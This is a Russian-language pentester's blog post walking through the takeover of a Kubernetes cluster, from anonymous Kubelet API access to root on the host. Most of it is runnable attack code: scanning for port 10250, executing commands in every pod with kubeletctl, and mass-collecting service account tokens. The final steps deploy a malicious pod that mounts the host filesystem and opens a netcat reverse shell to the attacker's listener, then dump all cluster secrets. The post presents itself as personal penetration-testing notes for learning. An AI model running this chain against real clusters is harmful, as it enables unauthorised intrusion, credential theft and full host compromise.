May 6

Захват Kubernetes Cluster: от Anonymous Kubelet API Access до Host Kubernetes Server


[0x00] Предисловие


Всем привет, я — o1d_bu7_go1d, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.

Недавно работал над проектом, где ядром системы выступал Kubernetes. У всех всё бывает в первый раз, соответственно, на этом проекте я впервые познакомился с ним.

В этой статье, я хотел бы поделиться своим опытом, который мне удалось получить на проекте. Думаю, не нужно воспринимать информацию как истину в последней инстанции, я могу ошибаться в каких-то вещах, быть расплывчатым в терминологии. Всегда перепроверяйте то, с чем ознакамливаетесь. И, конечно же, здесь я делюсь именно кейсом, а не рассматриваю базу. Это, скорее, личные заметки.


[0x01] Отказ от ответственности


Я, как автор данного материала, не призываю никого применять описанные в статье техники и тактики тестирования на проникновение с целью причинения любого вида ущерба реальным информационным системам, по причине того, что такие действия являются незаконными.

Я не несу ответственность за действия, совершенные другими лицами с применением описанного материала. Все совпадения представленных данных с реальными компонентами - случайные совпадения, не имеющие к реальности никакого отношения.


[0x02] Нахождение всех Kubelet API средствами nmap в рамках скоупа


Запускаем Nmap, акцентируя внимание на порт 10250. Этот порт по-умолчанию используется Kubelet API:

nmap -p10250 XXX.XXX.XXX.XXX/XX --open -oG - | awk '/\/open\// {print $2}' > kubeletapi-endpoints.txt

Пример полученного файла kubeletapi-endpoints.txt:

XXX.XXX.XXX.XX1
XXX.XXX.XXX.XX2
XXX.XXX.XXX.XX3
XXX.XXX.XXX.XX4

В итоге, мы получим список IP-адресов, где есть Kubelet API. Следующий наш шаг будет заключаться в том, чтобы определить, можем ли мы получить анонимный доступ к Kubelet API.


[0x03] Проверка анонимного доступа к Kubelet API на найденных хостах


Здесь мы будем акцентировать внимание на то, какой статус-код будет возвращаться от Kubelet API:

  • 200 - есть анонимный доступ
  • 401 - нет анонимного доступа
while read ip; do status=$(curl -k -s -o /dev/null -w "%{http_code}\n" https://$ip:10250/pods) && echo "$ip $status"; done < kubeletapi-endpoints.txt | grep "200" | awk '{print $1}' > kubeletapi-endpoints-filtered.txt

Пример получившегося файла kubeletapi-endpoints-filtered.txt:

XXX.XXX.XXX.XX1
XXX.XXX.XXX.XX2
XXX.XXX.XXX.XX4

[0x04] Сканирование контейнеров на потенциальный Remote Code Execution


На этом шаге уже будем использовать инструмент kubeletctl. scan rce поможет нам определить, где есть возможность RCE:

while read ip; do ./kubeletctl scan rce -s $ip; done < kubeletapi-endpoints-filtered.txt

Вывод будет в красивых таблицах. Упрощенный пример вывода:

# NODE_IP:PODS:NAMESPACE:CONTAINERS:RCE 

XXX.XXX.XXX.XX1:nginx-a1b2c3e4:localapp:nginx:+

Соответственно, + или - покажут, где можно исполнять команды, а где нет.


[0x05] Remote Code Execution (RCE)


Тут два варианта - можно выполнить команды на всех подах, либо точечно, т.е. на конкретном поде:

  • На всех подах (как я понял, на контейнерах подов) конкретного Kubelet API:
./kubeletctl run "<bash command>" --all-pods -s XXX.XXX.XXX.XX1
  • На конкретном контейнере пода:
./kubeletctl run "<bash command>" -c <container> -p <pod> -n <namespace> -s XXX.XXX.XXX.XX1
  • Бонус: на всех подах всех доступных нам Kubelet API:
while read ip; do ./kubeletctl run "<bash command>" --all-pods -s $ip; done < kubeletapi-endpoints-filtered.txt

[0x06] Поиск Service Account токенов


Поиск токенов на всех pods конкретного Kubelet API:

./kubeletctl scan token -s XXX.XXX.XXX.XX1

Альтернативный способ:

./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" --all-pods -s XXX.XXX.XXX.XX1

В данном случае, наверняка, можно грамотно сделать grep, но мне в рамках задачи достаточно было сделать grep по первым символам токена. Получим все токены со всех подов всех доступных Kubelet API:

while read ip; do ./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" --all-pods -s $ip | grep "<first-N-jwt-token-symbols>"; done < kubeletapi-endpoints-filtered.txt > leaked_service_accounts_tokens.txt

Подсчитать количество токенов:

wc -l leaked_service_accounts_tokens.txt

[0x07] Проверка прав токенов


Теперь, когда мы забрали токены, нам нужно найти среди них такие, с помощью которых мы сможем делать ВСЁ. Для этого в kubectl есть отдельная команда - auth can-i '*' '*':

while read token; do result=$(./kubectl auth can-i '*' '*' --token $token --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true) && echo "$result : $token"; done < leaked_service_accounts_tokens.txt

Если хотя бы один такой токен нашелся (в ответ от API мы должны получить yes), то мы почти победили.


[0x08] Создание evil-pod с примонтированной хостовой ОС


Добавим найденный токен в переменную окружения на Kali Linux:

export PRIVTOKEN=<jwt-token-here>

Создаем вредоносный под. У себя на Kali я создаю mal.yaml со следующим содержимым:

apiVersion: v1
kind: Pod
metadata:
    name: o1dbu7go1d
spec:
    containers:
    - name: busybox
      image: busybox:latest 
      command: ["/bin/sh"]
      args: ["-c", "nc <kali-listener-ip> <kali-listener-port> -e /bin/sh"]
      volumeMounts:
      - name: host
        mountPath: /host
    volumes:
    - name: host
      hostPath: 
        path: /

Cтавим на Kali порт на прослушивание:

nc -lvnp <kali-listener-port>

После чего, создаем evil-pod по ранее заготовленному YAML-конфигу:

./kubectl apply -f mal.yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true

Если вывелось pod/o1dbu7go1d created, то мы все сделали правильно, и в nc мы увидим коннект (если он разорвался, стоит попробовать еще раз, у меня было так). Я получил сразу root. Стоит сделать chroot /host и мы сменим корневую директорию на корневую директорию хостовой ОС.


[0x09] Полезное


  • Эндпоинты Kubelet API - обращение через curl:
curl -k https://XXX.XXX.XXX.XX1:10250/pods
curl -k https://XXX.XXX.XXX.XX1:10250/runningpods
curl -k https://XXX.XXX.XXX.XX1:10250/metrics
curl -k https://XXX.XXX.XXX.XX1:10250/configz
curl -k https://XXX.XXX.XXX.XX1:10250/exec
curl -k https://XXX.XXX.XXX.XX1:10250/run
  • Пример сбора конкретных данных из полученного json от Kubelet API:
curl -k https://XXX.XXX.XXX.XX1:10250/pods | jq '.items[].metadata.name' | tr -d '"' > pods-XXX.XXX.XXX.XX1.txt
  • Сбор всех секретов (во всех пространствах имен):
./kubectl get secrets --all-namespaces --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true

Упрощенный пример вывода:

# NAMESPACE:NAME:TYPE:DATA:AGE

gitlab-runner:deploy-pull-secret:kubernetes.io/dockerconfigjson:1:2y20d

В колонке DATA будет указано количество секретов. Также, они могут иметь разные типы (колонка TYPE), например Opaque - общий тип для произвольных данных или kubernetes.io/tls - TLS-сертификат и ключ.

  • Чтение конкретного секрета:
./kubectl get secret <secret-name> -n <namespace> -o yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true

Можно вывести и в json, используя -o json вместо -o yaml. Сами секреты закодированы в base64. Берем строку и декодируем:

echo <base64-secret-string> | base64 -d

Также стоит искать в подах другие потенциально интересные секреты. Например, секреты сервисов - токены от gitlab, если есть gitlab-runner'ы и другие. И всегда стоит проверять переменные окружения через env.


[0x10] Финальная цепочка атаки


Статья подошла к концу. Итоговая цепочка атаки у нас получилась следующая:

  1. Нахождение Kubelet API и проверка анонимного доступа к нему
  2. Нахождение pods, на которых доступно RCE
  3. Компрометация Service Account Токенов и быстрое определение привилегий
  4. Создание evil-pod с примонтированной хостовой ОС
  5. Pwned!